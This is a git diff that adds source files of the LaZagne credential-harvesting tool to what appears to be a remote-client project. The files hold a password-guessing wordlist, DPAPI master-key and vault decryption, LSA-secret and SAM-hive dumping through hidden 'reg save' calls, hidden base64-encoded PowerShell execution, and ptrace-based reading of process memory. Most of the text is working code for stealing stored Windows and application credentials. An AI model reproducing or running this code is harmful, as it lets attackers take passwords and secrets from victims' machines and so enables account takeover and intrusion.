Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. + +# Why to_bufferable? +# Python 3 is very different from Python 2.x when it comes to strings of text +# and strings of bytes; in Python 3, strings of bytes do not exist, instead to +# represent arbitrary binary data, we must use the "bytes" object. This method +# ensures the object behaves as we need it to. + +def to_bufferable(binary): + return binary + +def _get_byte(c): + return ord(c) + +try: + xrange +except NameError: + + def to_bufferable(binary): + if isinstance(binary, bytes): + return binary + return bytes(ord(b) for b in binary) + + def _get_byte(c): + return c + +def append_PKCS7_padding(data): + pad = 16 - (len(data) % 16) + return data + to_bufferable(chr(pad) * pad) + +def strip_PKCS7_padding(data): + if len(data) % 16 != 0: + raise ValueError("invalid length") + + pad = _get_byte(data[-1]) + + if pad > 16: + raise ValueError("invalid padding byte") + + return data[:-pad] diff --git a/foreign/client_handling/lazagne/config/crypto/rc4.py b/foreign/client_handling/lazagne/config/crypto/rc4.py new file mode 100644 index 0000000..58b9333 --- /dev/null +++ b/foreign/client_handling/lazagne/config/crypto/rc4.py @@ -0,0 +1,57 @@ +# Thanks to g2jun for his RC4-Python project +# Code from https://github.com/g2jun/RC4-Python + +from foreign.client_handling.lazagne.config.winstructure import char_to_int, chr_or_byte + + +class RC4(object): + + def __init__(self, key): + self.key_bytes = self.text_to_bytes(key) + + def text_to_bytes(self, text): + byte_list = [] + + # on Windows, default coding for Chinese is GBK + # s = s.decode('gbk').encode('utf-8') + for byte in text: + byte_list.append(char_to_int(byte)) + + return byte_list + + def bytes_to_text(self, byte_list): + s = b'' + for byte in byte_list: + s += chr_or_byte(byte) + return s + + def encrypt(self, data): + plain_bytes = self.text_to_bytes(data) + keystream_bytes, cipher_bytes = self.crypt(plain_bytes, self.key_bytes) + return self.bytes_to_text(cipher_bytes) + + def crypt(self, plain_bytes, key_bytes): + + keystream_list = [] + cipher_list = [] + + key_len = len(key_bytes) + plain_len = len(plain_bytes) + S = list(range(256)) + + j = 0 + for i in range(256): + j = (j + S[i] + key_bytes[i % key_len]) % 256 + S[i], S[j] = S[j], S[i] + + i = 0 + j = 0 + for m in range(plain_len): + i = (i + 1) % 256 + j = (j + S[i]) % 256 + S[i], S[j] = S[j], S[i] + k = S[(S[i] + S[j]) % 256] + keystream_list.append(k) + cipher_list.append(k ^ plain_bytes[m]) + + return keystream_list, cipher_list
\ No newline at end of file diff --git a/foreign/client_handling/lazagne/config/dico.py b/foreign/client_handling/lazagne/config/dico.py new file mode 100644 index 0000000..ef23a89 --- /dev/null +++ b/foreign/client_handling/lazagne/config/dico.py @@ -0,0 +1,503 @@ +def get_dic(): + return [ + u"password", + u"123456", + u"12345678", + u"1234", + u"qwerty", + u"12345", + u"dragon", + u"pussy", + u"baseball", + u"football", + u"letmein", + u"monkey", + u"696969", + u"abc123", + u"mustang", + u"michael", + u"shadow", + u"master", + u"jennifer", + u"111111", + u"2000", + u"jordan", + u"superman", + u"harley", + u"1234567", + u"fuckme", + u"hunter", + u"fuckyou", + u"trustno1", + u"ranger", + u"buster", + u"thomas", + u"tigger", + u"robert", + u"soccer", + u"fuck", + u"batman", + u"test", + u"pass", + u"killer", + u"hockey", + u"george", + u"charlie", + u"andrew", + u"michelle", + u"love", + u"sunshine", + u"jessica", + u"asshole", + u"6969", + u"pepper", + u"daniel", + u"access", + u"123456789", + u"654321", + u"joshua", + u"maggie", + u"starwars", + u"silver", + u"william", + u"dallas", + u"yankees", + u"123123", + u"ashley", + u"666666", + u"hello", + u"amanda", + u"orange", + u"biteme", + u"freedom", + u"computer", + u"sexy", + u"thunder", + u"nicole", + u"ginger", + u"heather", + u"hammer", + u"summer", + u"corvette", + u"taylor", + u"fucker", + u"austin", + u"1111", + u"merlin", + u"matthew", + u"121212", + u"golfer", + u"cheese", + u"princess", + u"martin", + u"chelsea", + u"patrick", + u"richard", + u"diamond", + u"yellow", + u"bigdog", + u"secret", + u"asdfgh", + u"sparky", + u"cowboy", + u"camaro", + u"anthony", + u"matrix", + u"falcon", + u"iloveyou", + u"bailey", + u"guitar", + u"jackson", + u"purple", + u"scooter", + u"phoenix", + u"aaaaaa", + u"morgan", + u"tigers", + u"porsche", + u"mickey", + u"maverick", + u"cookie", + u"nascar", + u"peanut", + u"justin", + u"131313", + u"money", + u"horny", + u"samantha", + u"panties", + u"steelers", + u"joseph", + u"snoopy", + u"boomer", + u"whatever", + u"iceman", + u"smokey", + u"gateway", + u"dakota", + u"cowboys", + u"eagles", + u"chicken", + u"dick", + u"black", + u"zxcvbn", + u"please", + u"andrea", + u"ferrari", + u"knight", + u"hardcore", + u"melissa", + u"compaq", + u"coffee", + u"booboo", + u"bitch", + u"johnny", + u"bulldog", + u"xxxxxx", + u"welcome", + u"james", + u"player", + u"ncc1701", + u"wizard", + u"scooby", + u"charles", + u"junior", + u"internet", + u"bigdick", + u"mike", + u"brandy", + u"tennis", + u"blowjob", + u"banana", + u"monster", + u"spider", + u"lakers", + u"miller", + u"rabbit", + u"enter", + u"mercedes", + u"brandon", + u"steven", + u"fender", + u"john", + u"yamaha", + u"diablo", + u"chris", + u"boston", + u"tiger", + u"marine", + u"chicago", + u"rangers", + u"gandalf", + u"winter", + u"bigtits", + u"barney", + u"edward", + u"raiders", + u"porn", + u"badboy", + u"blowme", + u"spanky", + u"bigdaddy", + u"johnson", + u"chester", + u"london", + u"midnight", + u"blue", + u"fishing", + u"000000", + u"hannah", + u"slayer", + u"11111111", + u"rachel", + u"sexsex", + u"redsox", + u"thx1138", + u"asdf", + u"marlboro", + u"panther", + u"zxcvbnm", + u"arsenal", + u"oliver", + u"qazwsx", + u"mother", + u"victoria", + u"7777777", + u"jasper", + u"angel", + u"david", + u"winner", + u"crystal", + u"golden", + u"butthead", + u"viking", + u"jack", + u"iwantu", + u"shannon", + u"murphy", + u"angels", + u"prince", + u"cameron", + u"girls", + u"madison", + u"wilson", + u"carlos", + u"hooters", + u"willie", + u"startrek", + u"captain", + u"maddog", + u"jasmine", + u"butter", + u"booger", + u"angela", + u"golf", + u"lauren", + u"rocket", + u"tiffany", + u"theman", + u"dennis", + u"liverpoo", + u"flower", + u"forever", + u"green", + u"jackie", + u"muffin", + u"turtle", + u"sophie", + u"danielle", + u"redskins", + u"toyota", + u"jason", + u"sierra", + u"winston", + u"debbie", + u"giants", + u"packers", + u"newyork", + u"jeremy", + u"casper", + u"bubba", + u"112233", + u"sandra", + u"lovers", + u"mountain", + u"united", + u"cooper", + u"driver", + u"tucker", + u"helpme", + u"fucking", + u"pookie", + u"lucky", + u"maxwell", + u"8675309", + u"bear", + u"suckit", + u"gators", + u"5150", + u"222222", + u"shithead", + u"fuckoff", + u"jaguar", + u"monica", + u"fred", + u"happy", + u"hotdog", + u"tits", + u"gemini", + u"lover", + u"xxxxxxxx", + u"777777", + u"canada", + u"nathan", + u"victor", + u"florida", + u"88888888", + u"nicholas", + u"rosebud", + u"metallic", + u"doctor", + u"trouble", + u"success", + u"stupid", + u"tomcat", + u"warrior", + u"peaches", + u"apples", + u"fish", + u"qwertyui", + u"magic", + u"buddy", + u"dolphins", + u"rainbow", + u"gunner", + u"987654", + u"freddy", + u"alexis", + u"braves", + u"cock", + u"2112", + u"1212", + u"cocacola", + u"xavier", + u"dolphin", + u"testing", + u"bond007", + u"member", + u"calvin", + u"voodoo", + u"7777", + u"samson", + u"alex", + u"apollo", + u"fire", + u"tester", + u"walter", + u"beavis", + u"voyager", + u"peter", + u"porno", + u"bonnie", + u"rush2112", + u"beer", + u"apple", + u"scorpio", + u"jonathan", + u"skippy", + u"sydney", + u"scott", + u"red123", + u"power", + u"gordon", + u"travis", + u"beaver", + u"star", + u"jackass", + u"flyers", + u"boobs", + u"232323", + u"zzzzzz", + u"steve", + u"rebecca", + u"scorpion", + u"doggie", + u"legend", + u"ou812", + u"yankee", + u"blazer", + u"bill", + u"runner", + u"birdie", + u"bitches", + u"555555", + u"parker", + u"topgun", + u"asdfasdf", + u"heaven", + u"viper", + u"animal", + u"2222", + u"bigboy", + u"4444", + u"arthur", + u"baby", + u"private", + u"godzilla", + u"donald", + u"williams", + u"lifehack", + u"phantom", + u"dave", + u"rock", + u"august", + u"sammy", + u"cool", + u"brian", + u"platinum", + u"jake", + u"bronco", + u"paul", + u"mark", + u"frank", + u"heka6w2", + u"copper", + u"billy", + u"cumshot", + u"garfield", + u"willow", + u"cunt", + u"little", + u"carter", + u"slut", + u"albert", + u"69696969", + u"kitten", + u"super", + u"jordan23", + u"eagle1", + u"shelby", + u"america", + u"11111", + u"jessie", + u"house", + u"free", + u"123321", + u"chevy", + u"bullshit", + u"white", + u"broncos", + u"horney", + u"surfer", + u"nissan", + u"999999", + u"saturn", + u"airborne", + u"elephant", + u"marvin", + u"shit", + u"action", + u"adidas", + u"qwert", + u"kevin", + u"1313", + u"explorer", + u"walker", + u"police", + u"christin", + u"december", + u"benjamin", + u"wolf", + u"sweet", + u"therock", + u"king", + u"online", + u"dickhead", + u"brooklyn", + u"teresa", + u"cricket", + u"sharon", + u"dexter", + u"racing", + u"penis", + u"gregory", + u"0000", + u"teens", + u"redwings", + u"dreams", + u"michigan", + u"hentai", + u"magnum", + u"87654321", + u"nothing", + u"donkey", + u"trinity", + u"digital", + u"333333", + u"stella", + u"cartman", + u"guinness", + u"123abc", + u"speedy", + u"buffalo", + u"kitty"] diff --git a/foreign/client_handling/lazagne/config/dpapi_structure.py b/foreign/client_handling/lazagne/config/dpapi_structure.py new file mode 100644 index 0000000..7d6080b --- /dev/null +++ b/foreign/client_handling/lazagne/config/dpapi_structure.py @@ -0,0 +1,186 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- +import codecs +import os + +from foreign.client_handling.lazagne.config.DPAPI.masterkey import MasterKeyPool +from foreign.client_handling.lazagne.config.DPAPI.credfile import CredFile +from foreign.client_handling.lazagne.config.DPAPI.vault import Vault +from foreign.client_handling.lazagne.config.DPAPI.blob import DPAPIBlob +from foreign.client_handling.lazagne.config.write_output import print_debug +from foreign.client_handling.lazagne.config.constant import constant +from foreign.client_handling.lazagne.softwares.windows.lsa_secrets import LSASecrets + + +def are_masterkeys_retrieved(): + """ + Before running modules using DPAPI, we have to retrieve masterkeys + otherwise, we do not realize these checks + """ + current_user = constant.username + if constant.pypykatz_result.get(current_user, None): + password = constant.pypykatz_result[current_user].get('Password', None) + pwdhash = constant.pypykatz_result[current_user].get('Shahash', None) + + # Create one DPAPI object by user + constant.user_dpapi = UserDpapi(password=password, pwdhash=pwdhash) + + if not constant.user_dpapi or not constant.user_dpapi.unlocked: + # constant.user_password represents the password entered manually by the user + constant.user_dpapi = UserDpapi(password=constant.user_password) + + # Add username to check username equals passwords + constant.user_dpapi.check_credentials([constant.username] + constant.password_found) + + # Return True if at least one masterkey has been decrypted + return constant.user_dpapi.unlocked + + +def manage_response(ok, msg): + if ok: + return msg + else: + print_debug('DEBUG', u'{msg}'.format(msg=msg)) + return False + + +class UserDpapi(object): + """ + User class for DPAPI functions + """ + + def __init__(self, password=None, pwdhash=None): + self.sid = None + self.umkp = None + self.unlocked = False + + protect_folder = os.path.join(constant.profile['APPDATA'], u'Microsoft', u'Protect') + credhist_file = os.path.join(constant.profile['APPDATA'], u'Microsoft', u'Protect', u'CREDHIST') + + if os.path.exists(protect_folder): + for folder in os.listdir(protect_folder): + if folder.startswith('S-'): + self.sid = folder + break + + if self.sid: + masterkeydir = os.path.join(protect_folder, self.sid) + if os.path.exists(masterkeydir): + self.umkp = MasterKeyPool() + self.umkp.load_directory(masterkeydir) + self.umkp.add_credhist_file(sid=self.sid, credfile=credhist_file) + + if password: + for ok, r in self.umkp.try_credential(sid=self.sid, password=password): + if ok: + self.unlocked = True + print_debug('OK', r) + else: + print_debug('ERROR', r) + + elif pwdhash: + for ok, r in self.umkp.try_credential_hash(self.sid, pwdhash=codecs.decode(pwdhash, 'hex')): + if ok: + self.unlocked = True + print_debug('OK', r) + else: + print_debug('ERROR', r) + + def check_credentials(self, passwords): + if self.umkp: + for password in passwords: + for ok, r in self.umkp.try_credential(sid=self.sid, password=password): + if ok: + self.unlocked = True + print_debug('OK', r) + else: + print_debug('ERROR', r) + + def decrypt_blob(self, dpapi_blob): + """ + Decrypt DPAPI Blob + """ + if self.umkp: + blob = DPAPIBlob(dpapi_blob) + ok, msg = blob.decrypt_encrypted_blob(mkp=self.umkp) + return manage_response(ok, msg) + + def decrypt_cred(self, credfile): + """ + Decrypt Credential Files + """ + if self.umkp: + with open(credfile, 'rb') as f: + c = CredFile(f.read()) + ok, msg = c.decrypt(self.umkp, credfile) + return manage_response(ok, msg) + + def decrypt_vault(self, vaults_dir): + """ + Decrypt Vault Files + """ + if self.umkp: + v = Vault(vaults_dir=vaults_dir) + ok, msg = v.decrypt(mkp=self.umkp) + return manage_response(ok, msg) + + def decrypt_encrypted_blob(self, ciphered, entropy_hex=False): + """ + Decrypt encrypted blob + """ + if self.umkp: + blob = DPAPIBlob(ciphered) + ok, msg = blob.decrypt_encrypted_blob(mkp=self.umkp, entropy_hex=entropy_hex) + return manage_response(ok, msg) + + def get_dpapi_hash(self, context='local'): + """ + Retrieve DPAPI hash to bruteforce it using john or hashcat. + """ + if self.umkp: + return self.umkp.get_dpapi_hash(sid=self.sid, context=context) + + def get_cleartext_password(self): + """ + Retrieve cleartext password associated to the preferred user maskterkey. + This password should represent the windows user password. + """ + if self.umkp: + return self.umkp.get_cleartext_password() + + +class SystemDpapi(object): + """ + System class for DPAPI functions + Need to have high privilege + """ + + def __init__(self): + self.smkp = None + self.unlocked = False + + if not constant.lsa_secrets: + # Retrieve LSA secrets + LSASecrets().run() + + if constant.lsa_secrets: + masterkeydir = u'C:\\Windows\\System32\\Microsoft\\Protect\\S-1-5-18\\User' + if os.path.exists(masterkeydir): + self.smkp = MasterKeyPool() + self.smkp.load_directory(masterkeydir) + self.smkp.add_system_credential(constant.lsa_secrets[b'DPAPI_SYSTEM']) + for ok, r in self.smkp.try_system_credential(): + if ok: + print_debug('OK', r) + self.unlocked = True + else: + print_debug('ERROR', r) + + def decrypt_wifi_blob(self, key_material): + """ + Decrypt wifi password + """ + if self.smkp: + blob = DPAPIBlob(key_material.decode('hex')) + ok, msg = blob.decrypt_encrypted_blob(mkp=self.smkp) + return manage_response(ok, msg) diff --git a/foreign/client_handling/lazagne/config/execute_cmd.py b/foreign/client_handling/lazagne/config/execute_cmd.py new file mode 100644 index 0000000..0faecd9 --- /dev/null +++ b/foreign/client_handling/lazagne/config/execute_cmd.py @@ -0,0 +1,100 @@ +# -*- coding: utf-8 -*- +# !/usr/bin/python +import base64 +import os +import subprocess +import re + +from foreign.client_handling.lazagne.config.write_output import print_debug +from foreign.client_handling.lazagne.config.constant import constant + +try: + import _subprocess as sub + STARTF_USESHOWWINDOW = sub.STARTF_USESHOWWINDOW # Not work on Python 3 + SW_HIDE = sub.SW_HIDE +except ImportError: + STARTF_USESHOWWINDOW = subprocess.STARTF_USESHOWWINDOW + SW_HIDE = subprocess.SW_HIDE + + +def powershell_execute(script, func): + """ + Execute a powershell script + """ + output = "" + try: + script = re.sub("Write-Verbose ", "Write-Output ", script, flags=re.I) + script = re.sub("Write-Error ", "Write-Output ", script, flags=re.I) + script = re.sub("Write-Warning ", "Write-Output ", script, flags=re.I) + + full_args = ["powershell.exe", "-NoProfile", "-NoLogo", "-C", "-"] + + info = subprocess.STARTUPINFO() + info.dwFlags = STARTF_USESHOWWINDOW + info.wShowWindow = SW_HIDE + + p = subprocess.Popen(full_args, startupinfo=info, stdin=subprocess.PIPE, stderr=subprocess.STDOUT, + stdout=subprocess.PIPE, universal_newlines=True, shell=True) + p.stdin.write("$base64=\"\"" + "\n") + + n = 25000 + b64_script = base64.b64encode(script) + tab = [b64_script[i:i + n] for i in range(0, len(b64_script), n)] + for t in tab: + p.stdin.write("$base64+=\"%s\"\n" % t) + p.stdin.flush() + + p.stdin.write("$d=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64))\n") + p.stdin.write("Invoke-Expression $d\n") + + p.stdin.write("\n$a=Invoke-Expression \"%s\" | Out-String\n" % func) + p.stdin.write("$b=[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes(\"$a\"))\n") + p.stdin.write("Write-Host \"[BEGIN]\"\n") + p.stdin.write("Write-Host $b\n") + + # begin flag used to remove possible bullshit output print before the func is launched + if '[BEGIN]' in p.stdout.readline(): + # Get the result in base64 + for i in p.stdout.readline(): + output += i + output = base64.b64decode(output) + except Exception: + pass + + return output + + +def save_hives(): + """ + Save SAM Hives + """ + for h in constant.hives: + if not os.path.exists(constant.hives[h]): + try: + cmdline = 'reg.exe save hklm\%s %s' % (h, constant.hives[h]) + command = ['cmd.exe', '/c', cmdline] + info = subprocess.STARTUPINFO() + info.dwFlags = STARTF_USESHOWWINDOW + info.wShowWindow = SW_HIDE + p = subprocess.Popen(command, startupinfo=info, stdin=subprocess.PIPE, stderr=subprocess.STDOUT, + stdout=subprocess.PIPE, universal_newlines=True) + results, _ = p.communicate() + except Exception as e: + print_debug('ERROR', u'Failed to save system hives: {error}'.format(error=e)) + return False + return True + + +def delete_hives(): + """ + Delete SAM Hives + """ + # Try to remove all temporary files + for h in constant.hives: + if os.path.exists(constant.hives[h]): + try: + os.remove(constant.hives[h]) + print_debug('DEBUG', u'Temp {hive} removed: {filename}'.format(hive=h, filename=constant.hives[h])) + except Exception: + print_debug('DEBUG', u'Temp {hive} failed to removed: {filename}'.format(hive=h, filename=constant.hives[h])) + diff --git a/foreign/client_handling/lazagne/config/lib/__init__.py b/foreign/client_handling/lazagne/config/lib/__init__.py new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/foreign/client_handling/lazagne/config/lib/__init__.py diff --git a/foreign/client_handling/lazagne/config/lib/memorpy/Address.py b/foreign/client_handling/lazagne/config/lib/memorpy/Address.py new file mode 100644 index 0000000..c85ea6f --- /dev/null +++ b/foreign/client_handling/lazagne/config/lib/memorpy/Address.py @@ -0,0 +1,111 @@ +# Author: Nicolas VERDIER +# This file is part of memorpy. +# +# memorpy is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# memorpy is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with memorpy. If not, see <http://www.gnu.org/licenses/>. + +from .utils import * + +class AddressException(Exception): + pass + + +class Address(object): + """ this class is used to have better representation of memory addresses """ + + def __init__(self, value, process, default_type = 'uint'): + self.value = int(value) + self.process = process + self.default_type = default_type + self.symbolic_name = None + + def read(self, type = None, maxlen = None, errors='raise'): + if maxlen is None: + try: + int(type) + maxlen = int(type) + type = None + except: + pass + + if not type: + type = self.default_type + if not maxlen: + return self.process.read(self.value, type=type, errors=errors) + else: + return self.process.read(self.value, type=type, maxlen=maxlen, errors=errors) + + def write(self, data, type = None): + if not type: + type = self.default_type + return self.process.write(self.value, data, type=type) + + def symbol(self): + return self.process.get_symbolic_name(self.value) + + def get_instruction(self): + return self.process.get_instruction(self.value) + + def dump(self, ftype = 'bytes', size = 512, before = 32): + buf = self.process.read_bytes(self.value - before, size) + print(hex_dump(buf, self.value - before, ftype=ftype)) + + def __nonzero__(self): + return self.value is not None and self.value != 0 + + def __add__(self, other): + return Address(self.value + int(other), self.process, self.default_type) + + def __sub__(self, other): + return Address(self.value - int(other), self.process, self.default_type) + + def __repr__(self): + if not self.symbolic_name: + self.symbolic_name = self.symbol() + return str('<Addr: %s' % self.symbolic_name + '>') + + def __str__(self): + if not self.symbolic_name: + self.symbolic_name = self.symbol() + return str('<Addr: %s' % self.symbolic_name + ' : "%s" (%s)>' % (str(self.read()).encode('unicode_escape'), self.default_type)) + + def __int__(self): + return int(self.value) + + def __hex__(self): + return hex(self.value) + + def __get__(self, instance, owner): + return self.value + + def __set__(self, instance, value): + self.value = int(value) + + def __lt__(self, other): + return self.value < int(other) + + def __le__(self, other): + return self.value <= int(other) + + def __eq__(self, other): + return self.value == int(other) + + def __ne__(self, other): + return self.value != int(other) + + def __gt__(self, other): + return self.value > int(other) + + def __ge__(self, other): + return self.value >= int(other) + diff --git a/foreign/client_handling/lazagne/config/lib/memorpy/BaseProcess.py b/foreign/client_handling/lazagne/config/lib/memorpy/BaseProcess.py new file mode 100644 index 0000000..8766b54 --- /dev/null +++ b/foreign/client_handling/lazagne/config/lib/memorpy/BaseProcess.py @@ -0,0 +1,66 @@ +#!/usr/bin/env python +# -*- coding: UTF8 -*- + +import struct + +from .utils import * + + +""" Base class for process not linked to any platform """ + +class ProcessException(Exception): + pass + +class BaseProcess(object): + + def __init__(self, *args, **kwargs): + """ Create and Open a process object from its pid or from its name """ + self.h_process = None + self.pid = None + self.isProcessOpen = False + self.buffer = None + self.bufferlen = 0 + + def __del__(self): + self.close() + + def close(self): + pass + def iter_region(self, *args, **kwargs): + raise NotImplementedError + def write_bytes(self, address, data): + raise NotImplementedError + + def read_bytes(self, address, bytes = 4): + raise NotImplementedError + + def get_symbolic_name(self, address): + return '0x%08X' % int(address) + + def read(self, address, type = 'uint', maxlen = 50, errors='raise'): + if type == 's' or type == 'string': + s = self.read_bytes(int(address), bytes=maxlen) + + try: + idx = s.index(b'\x00') + return s[:idx] + except: + if errors == 'ignore': + return s + + raise ProcessException('string > maxlen') + + else: + if type == 'bytes' or type == 'b': + return self.read_bytes(int(address), bytes=maxlen) + s, l = type_unpack(type) + return struct.unpack(s, self.read_bytes(int(address), bytes=l))[0] + + def write(self, address, data, type = 'uint'): + if type != 'bytes': + s, l = type_unpack(type) + return self.write_bytes(int(address), struct.pack(s, data)) + else: + return self.write_bytes(int(address), data) + + diff --git a/foreign/client_handling/lazagne/config/lib/memorpy/LinProcess.py b/foreign/client_handling/lazagne/config/lib/memorpy/LinProcess.py new file mode 100644 index 0000000..6cde871 --- /dev/null +++ b/foreign/client_handling/lazagne/config/lib/memorpy/LinProcess.py @@ -0,0 +1,296 @@ +# Author: Nicolas VERDIER +# This file is part of memorpy. +# +# memorpy is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# memorpy is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with memorpy. If not, see <http://www.gnu.org/licenses/>. + +import copy +import struct +# import utils +import platform +import ctypes, re, sys +from ctypes import create_string_buffer, byref, c_int, c_void_p, c_long, c_size_t, c_ssize_t, POINTER, get_errno +import errno +import os +import signal +from .BaseProcess import BaseProcess, ProcessException +from .structures import * +import logging + +logger = logging.getLogger('memorpy') + +libc=ctypes.CDLL("libc.so.6", use_errno=True) +get_errno_loc = libc.__errno_location +get_errno_loc.restype = POINTER(c_int) + +def errcheck(ret, func, args): + if ret == -1: + _errno = get_errno() or errno.EPERM + raise OSError(os.strerror(_errno)) + return ret + +c_ptrace = libc.ptrace +c_pid_t = ctypes.c_int32 # This assumes pid_t is int32_t +c_ptrace.argtypes = [c_int, c_pid_t, c_void_p, c_void_p] +c_ptrace.restype = c_long +mprotect = libc.mprotect +mprotect.restype = c_int +mprotect.argtypes = [c_void_p, c_size_t, c_int] +LARGE_FILE_SUPPORT=False +try: + c_off64_t=ctypes.c_longlong + lseek64 = libc.lseek64 + lseek64.argtypes = [c_int, c_off64_t, c_int] + lseek64.errcheck=errcheck + open64 = libc.open64 + open64.restype = c_int + open64.argtypes = [c_void_p, c_int] + open64.errcheck=errcheck + pread64=libc.pread64 + pread64.argtypes = [c_int, c_void_p, c_size_t, c_off64_t] + pread64.restype = c_ssize_t + pread64.errcheck=errcheck + c_close=libc.close + c_close.argtypes = [c_int] + c_close.restype = c_int + LARGE_FILE_SUPPORT=True +except: + logger.warning("no Large File Support") + +class LinProcess(BaseProcess): + def __init__(self, pid=None, name=None, debug=True, ptrace=None): + """ Create and Open a process object from its pid or from its name """ + super(LinProcess, self).__init__() + self.mem_file=None + self.ptrace_started=False + if pid is not None: + self.pid=pid + elif name is not None: + self.pid=LinProcess.pid_from_name(name) + else: + raise ValueError("You need to instanciate process with at least a name or a pid") + if ptrace is None: + if os.getuid()==0: + self.read_ptrace=False # no need to ptrace the process when root to read memory + else: + self.read_ptrace=True + self._open() + + def check_ptrace_scope(self): + """ check ptrace scope and raise an exception if privileges are unsufficient + + The sysctl settings (writable only with CAP_SYS_PTRACE) are: + + 0 - classic ptrace permissions: a process can PTRACE_ATTACH to any other + process running under the same uid, as long as it is dumpable (i.e. + did not transition uids, start privileged, or have called + prctl(PR_SET_DUMPABLE...) already). Similarly, PTRACE_TRACEME is + unchanged. + + 1 - restricted ptrace: a process must have a predefined relationship + with the inferior it wants to call PTRACE_ATTACH on. By default, + this relationship is that of only its descendants when the above + classic criteria is also met. To change the relationship, an + inferior can call prctl(PR_SET_PTRACER, debugger, ...) to declare + an allowed debugger PID to call PTRACE_ATTACH on the inferior. + Using PTRACE_TRACEME is unchanged. + + 2 - admin-only attach: only processes with CAP_SYS_PTRACE may use ptrace + with PTRACE_ATTACH, or through children calling PTRACE_TRACEME. + + 3 - no attach: no processes may use ptrace with PTRACE_ATTACH nor via + PTRACE_TRACEME. Once set, this sysctl value cannot be changed. + """ + try: + with open("/proc/sys/kernel/yama/ptrace_scope",'rb') as f: + ptrace_scope=int(f.read().strip()) + if ptrace_scope==3: + logger.warning("yama/ptrace_scope == 3 (no attach). :/") + if os.getuid()==0: + return + elif ptrace_scope == 1: + logger.warning("yama/ptrace_scope == 1 (restricted). you can't ptrace other process ... get root") + elif ptrace_scope == 2: + logger.warning("yama/ptrace_scope == 2 (admin-only). Warning: check you have CAP_SYS_PTRACE") + + except IOError: + pass + + except Exception as e: + logger.warning("Error getting ptrace_scope ?? : %s"%e) + + def close(self): + if self.mem_file: + if not LARGE_FILE_SUPPORT: + self.mem_file.close() + else: + c_close(self.mem_file) + self.mem_file=None + if self.ptrace_started: + self.ptrace_detach() + + def __del__(self): + self.close() + + def _open(self): + self.isProcessOpen = True + self.check_ptrace_scope() + if os.getuid()!=0: + #to raise an exception if ptrace is not allowed + self.ptrace_attach() + self.ptrace_detach() + + #open file descriptor + if not LARGE_FILE_SUPPORT: + self.mem_file=open("/proc/" + str(self.pid) + "/mem", 'rb', 0) + else: + path=create_string_buffer(b"/proc/%d/mem" % self.pid) + self.mem_file=open64(byref(path), os.O_RDONLY) + + @staticmethod + def list(): + processes=[] + for pid in os.listdir("/proc"): + try: + exe=os.readlink("/proc/%s/exe"%pid) + processes.append({"pid":int(pid), "name":exe}) + except: + pass + return processes + + @staticmethod + def pid_from_name(name): + #quick and dirty, works with all linux not depending on ps output + for pid in os.listdir("/proc"): + try: + int(pid) + except: + continue + pname="" + with open("/proc/%s/cmdline"%pid,'r') as f: + pname=f.read() + if name in pname: + return int(pid) + raise ProcessException("No process with such name: %s"%name) + + ## Partial interface to ptrace(2), only for PTRACE_ATTACH and PTRACE_DETACH. + def _ptrace(self, attach): + op = ctypes.c_int(PTRACE_ATTACH if attach else PTRACE_DETACH) + c_pid = c_pid_t(self.pid) + null = ctypes.c_void_p() + + if not attach: + os.kill(self.pid, signal.SIGSTOP) + os.waitpid(self.pid, 0) + + err = c_ptrace(op, c_pid, null, null) + + if not attach: + os.kill(self.pid, signal.SIGCONT) + + if err != 0: + raise OSError("%s: %s"%( + 'PTRACE_ATTACH' if attach else 'PTRACE_DETACH', + errno.errorcode.get(ctypes.get_errno(), 'UNKNOWN') + )) + + def iter_region(self, start_offset=None, end_offset=None, protec=None, optimizations=None): + """ + optimizations : + i for inode==0 (no file mapping) + s to avoid scanning shared regions + x to avoid scanning x regions + r don't scan ronly regions + """ + with open("/proc/" + str(self.pid) + "/maps", 'r') as maps_file: + for line in maps_file: + m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+)\s+([-rwpsx]+)\s+([0-9A-Fa-f]+)\s+([0-9A-Fa-f]+:[0-9A-Fa-f]+)\s+([0-9]+)\s*(.*)', line) + if not m: + continue + start, end, region_protec, offset, dev, inode, pathname = int(m.group(1), 16), int(m.group(2), 16), m.group(3), m.group(4), m.group(5), int(m.group(6)), m.group(7) + if start_offset is not None: + if start < start_offset: + continue + if end_offset is not None: + if start > end_offset: + continue + chunk=end-start + if 'r' in region_protec: # TODO: handle protec parameter + if optimizations: + if 'i' in optimizations and inode != 0: + continue + if 's' in optimizations and 's' in region_protec: + continue + if 'x' in optimizations and 'x' in region_protec: + continue + if 'r' in optimizations and not 'w' in region_protec: + continue + yield start, chunk + + def ptrace_attach(self): + if not self.ptrace_started: + res=self._ptrace(True) + self.ptrace_started=True + return res + + def ptrace_detach(self): + if self.ptrace_started: + res=self._ptrace(False) + self.ptrace_started=False + return res + + def write_bytes(self, address, data): + if not self.ptrace_started: + self.ptrace_attach() 